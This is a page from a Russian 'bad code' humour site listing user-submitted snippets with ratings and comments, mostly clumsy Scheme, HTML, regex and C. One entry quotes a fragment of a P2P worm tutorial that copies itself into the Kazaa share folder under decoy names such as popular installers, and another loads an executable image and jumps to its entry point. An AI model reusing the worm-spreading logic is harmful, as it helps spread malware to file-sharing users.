
-
Лучший говнокод
- В номинации:
-
- Лучший рейтинг
- Самый комментируемый
- За время:
-
- за сегодня
- за неделю
- за месяц
- за всё время
-
Куча / Говнокод #7654
+135
Комментарии (27) -
Куча / Говнокод #7050
+135
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
(+ 3 5) (* 5 6 7) (kupitj bulochnaja baton) Можно записать выражения и посложнее: (kupitj bulochnaja baton (+ 2 1)) «Купи в булочной батоны: два плюс ещё один». Просто, не правда ли? Давайте двигаться дальше. (define (privet imja) (display "Privet ") (display imja) (display "!") (newline)) (define (polzovatel) (write "Predstavtes:") (read)) (privet (polzovatel))
Нашел этот пиздец в Введение в язык Scheme для школьников, сначала подумал что автор таким образом заставляет работать мозг школьника(пища все таки) но нет подобное продолжается. К сожалению полной версии "учебника" не имею надеюсь подобное затрагивает только вступление и дальше будет лучше..
З.ы думаю первый говнокод на Scheme....(:Комментарии (15) -
Си / Говнокод #6991
+135
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
randomize(); //Включаем генератор случайных чисел. ra = random(11)+1; //Генерим число от 1 до 11 и если выбрали то переходим вниз по коду. switch (ra) { case 1 : strcat(KazaaFull, "\\winamp502_full.exe"); break; case 2 : strcat(KazaaFull, "\\spdialer.exe"); break; case 3 : strcat(KazaaFull, "\\rammstein.scr"); break; case 4 : strcat(KazaaFull, "\\mozilla-1.6-win32-installer.exe"); break; case 5 : strcat(KazaaFull, "\\cdex_160_enu.exe"); break; //Присоединяем к пути новое имя. case 6 : strcat(KazaaFull, "\\kavperspro45rus.exe"); break; //Я говорил про запасную переменную. case 7 : strcat(KazaaFull, "\\restorator_4.0.exe"); break; // Мы юзаем "\\" потому что так нужно. case 8 : strcat(KazaaFull, "\\win_rar330.exe"); break; case 9 : strcat(KazaaFull, "\\mdialer_4.exe"); break; case 10 : strcat(KazaaFull, "\\apache_1.3.22-PL30.9-win32-x86.exe"); break; case 11 : strcat(KazaaFull, "\\offline_explorer_3.0_setup.exe"); break; } CopyFile(myname, KazaaFull, FALSE); //Ну и копируем свое тело в папку KazaaFull
http://www.makak.ru/2007/11/09/wormp2p-svoimi-rukami/
Комментарии (19) -
Куча / Говнокод #6779
+135
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
<div id="pointer_div">jQuery16104518015997745993=Object { events={...}} <div style="display: block; background: url("http://localhost/first/coord_mouse_on_pic/3/cr.gif") repeat scroll 0% 0% transparent; position: relative; padding: 0px; width: 615px; height: 417px;"> <map id="htmlmap_com_4" name="htmlmap_com_4">jQuery16104518015997745993=Object { events={...}} <div id="myCanvas" style="position: relative; margin: 0px; padding: 0px;"></div> <div style="position: absolute; left: 424px; top: 195px; width: 2px; height: 2px; clip: rect(0pt, 2px, 2px, 0pt); padding: 0px; margin: 0px; background-color: red; overflow: hidden; opacity: 0.8;"></div> <div style="position: absolute; left: 426px; top: 195px; width: 2px; height: 2px; clip: rect(0pt, 2px, 2px, 0pt); padding: 0px; margin: 0px; background-color: red; overflow: hidden; opacity: 0.8;"></div> <div style="position: absolute; left: 424px; top: 197px; width: 4px; height: 2px; clip: rect(0pt, 4px, 2px, 0pt); padding: 0px; margin: 0px; background-color: red; overflow: hidden; opacity: 0.8;"></div> <div style="position: absolute; left: 424px; top: 197px; width: 2px; height: 0px; clip: rect(0pt, 2px, 0px, 0pt); padding: 0px; margin: 0px; background-color: red; overflow: hidden; opacity: 0.8;"></div> </div>
-
Комментарии (24) -
Куча / Говнокод #6705
+135
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
<!-- ÐаннеÑÑ Ð¿Ð¾Ñле Ð¼ÐµÐ½Ñ --> <!-- меÑÑо â 30 --> <div class="banner"> <div class="emptybanner" id="banner_30"></div> </div> <!-- меÑÑо â 40 --> <div class="banner"> <div class="emptybanner" id="banner_40"></div> </div> <!-- меÑÑо â 50 --> <div class="banner"> <div class="emptybanner" id="banner_50"></div> </div> <!-- меÑÑо â 60 --> <div class="banner"> <div class="emptybanner" id="banner_60"></div> </div> <!-- меÑÑо â 70 --> <div class="banner"> <div class="emptybanner" id="banner_70"></div> </div> <!-- меÑÑо â 80 --> <div class="banner"> <div class="emptybanner" id="banner_80"></div> </div> <!-- меÑÑо â 90 --> <div class="banner"> <div class="emptybanner" id="banner_90"></div> </div>
http://ticket.rzd.ru
Все комментарии в коде в другой кодировке.
Это, конечно, крутая конспирация, $str =~ s/<!--.*?-->//sg; и $str =~ s#//.*?-##g; нервно курят в сторонке.
Ну а иллюстрация тоже веселая. Пустые баннеры отаке!Комментарии (19) -
Куча / Говнокод #6702
+135
- 1
<td class="displayNone" style="padding-right:13px; width:235px" valign="top">
ticket.rzd.ru
Комментарии (29) -
Куча / Говнокод #6497
+135
- 1
<div class="block_container s3 b-text b-static-text user_css_130018946673 user_css_130028521958 user_css_130028524445 user_css_130028527350 user_css_130028529275 user_css_130028546858 user_css_13002855067 user_css_13002855515 user_css_130028558859 user_css_130028563869 user_css_130028573655 user_css_130028575861 user_css_130028716271 " id="e_130012850667">
С одного narod'овского сайта на готовом шаблоне. Я на измене.
Комментарии (29) -
Си / Говнокод #6290
+135
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
PIMAGE_FILE_HEADER pfh; PIMAGE_SECTION_HEADER psh; PIMAGE_OPTIONAL_HEADER poh; PVOID aa = LoadLibrary("calc.exe"); GetHeaders((PCHAR) aa, &pfh, &poh, &psh); PPEB aae=GetPEB(); aae->ImageBaseAddress = aa; LPVOID entry = (LPVOID)( (DWORD)aa + poh->AddressOfEntryPoint ); __asm { call dword ptr [entry] }
ссыль: http://www.wasm.ru/forum/viewtopic.php?pid=427180
Комментарии (8) -
Куча / Говнокод #6198
+135
- 1
^(?:[^<>]*<[^<>]+>)+?[ \n\t]*Вопрос №\d+\:[ \n\t]*((?:<[^<>]+>[^<>]*)+?)(?:<table>|<table [^<>]*>)[ \n\t]*(?:<tr>|<tr [^<>]*>)[ \n\t]*(?:<td>|<td [^<>]*>)[^<>]*(?:(?:(?:(?:<div>|<div[ \n\t]*[^<>]*>)|</div>|<div[ \n\t]*?/[ \n\t]*?>)|(?:(?:<p>|<p[ \n\t]*[^<>]*>)|</p>|<p[ \n\t]*?/[ \n\t]*?>)|(?:(?:<font>|<font[ \n\t]*[^<>]*>)|</font>|<font[ \n\t]*?/[ \n\t]*?>)|(?:(?:<html>|<html[ \n\t]*[^<>]*>)|</html>|<html[ \n\t]*?/[ \n\t]*?>)|(?:(?:<body>|<body[ \n\t]*[^<>]*>)|</body>|<body[ \n\t]*?/[ \n\t]*?>)|(?:(?:<head>|<head[ \n\t]*[^<>]*>)|</head>|<head[ \n\t]*?/[ \n\t]*?>)|(?:(?:<span>|<span[ \n\t]*[^<>]*>)|</span>|<span[ \n\t]*?/[ \n\t]*?>)|(?:(?:<style>|<style[ \n\t]*[^<>]*>)|</style>|<style[ \n\t]*?/[ \n\t]*?>)|(?:(?:<title>|<title[ \n\t]*[^<>]*>)|</title>|<title[ \n\t]*?/[ \n\t]*?>)|(?:(?:<br>|<br[ \n\t]*[^<>]*>)|</br>|<br[ \n\t]*?/[ \n\t]*?>)|(?:(?:<img>|<img[ \n\t]*[^<>]*>)|</img>|<img[ \n\t]*?/[ \n\t]*?>)|(?:(?:<meta>|<meta[ \n\t]*[^<>]*>)|</meta>|<meta[ \n\t]*?/[ \n\t]*?>))[^<>]*)*Вариан
Продолжение (8 килобайт, сюда не влазит): http://pastie.org/1750060
Регулярка безусловно генерится, но всё равно ГК.Комментарии (3) -
Си / Говнокод #5965
+135
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
//глубоко в коде char output[1024]; //еще глубже struct sockaddr_in outputa; //... if(sendto(s, output, 512, 0, (struct sockaddr *) &output, rsize) == SOCKET_ERROR) { printf("Socket error: %i.\n", WSAGetLastError()); }
Долго-же я думал, почему оно вываливается с ошибкой 10047.
Комментарии (15)